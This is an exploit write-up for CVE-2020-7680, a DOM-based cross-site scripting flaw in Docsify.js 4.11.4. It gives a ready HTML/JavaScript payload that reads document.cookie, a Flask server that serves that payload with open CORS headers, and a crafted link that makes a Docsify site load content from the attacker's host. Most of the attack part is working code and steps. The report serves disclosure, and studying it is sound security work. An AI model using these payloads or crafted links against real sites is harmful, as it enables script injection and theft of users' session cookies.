Docsify.js 4.11.4 - Reflective Cross-Site Scripting

# Exploit Title: Docsify.js 4.11.4 - Reflective Cross-Site Scripting
# Date: 2020-06-22
# Exploit Author: Amin Sharifi
# Vendor Homepage: https://docsify.js.org
# Software Link: https://github.com/docsifyjs/docsify
# Version: 4.11.4
# Tested on: Windows 10
# CVE : CVE-2020-7680


docsify.js uses fragment identifiers (parameters after # sign) to load
resources from server-side .md files. it then renders the .md file inside
the HTML page.

For example : https://docsify.js.org/#/quickstart sends an ajax to
https://docsify.js.org/quickstart.md and renders it inside the html page.

due to lack of validation it is possible to provide external URLs after the
/#/ and render arbitrary javascript/HTML inside the page which leads to
DOM-based Cross Site Scripting (XSS).


Steps to reproduce:

step 1. setup a server (for example I use flask here, for the POC im
hosting one on https://asharifi.pythonanywhere.com )

step 2. the server should respond to request to /README.md with a crafted
XSS payload. here is the payload "Html Injection and XSS PoC</p><img src=1
onerror=alert(1)><img src=1 onerror=alert(document.cookie)><p>"
also the CORS should be set so that other Origins would be able to send
ajax requests to the server so Access-Control-Allow-Origin must be set to *
(or to the specific domain that you wanna exploit) example code below:

-------------------------------------------------
from flask import Flask
import flask

app = Flask(__name__)


@app.route('/README.md')
def inject():
    resp = flask.Response("Html Injection and XSS PoC</p><img src=1
onerror=alert(1)><img src=1 onerror=alert(document.cookie)><p>")
    resp.headers['Access-Control-Allow-Origin'] = '*'
    return resp

------------------------------------------------------
step 3. craft the link for execution of the exploit
for example for https://docsify.js.org website you can create the link as
below

https://docsify.js.org/#//asharifi.pythonanywhere.com/README
(note that the mentioned domain is no longer vulnerable at the time writing
this report)

when a user visits this URL an ajax request will be sent to
asharifi.pythonanywhere.com/README.md and the response of the request will
be rendered inside the webpage which results in XSS payload being executed
on the page.


snyk advisory: https://snyk.io/vuln/SNYK-JS-DOCSIFY-567099
Mitre CVE entry:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7680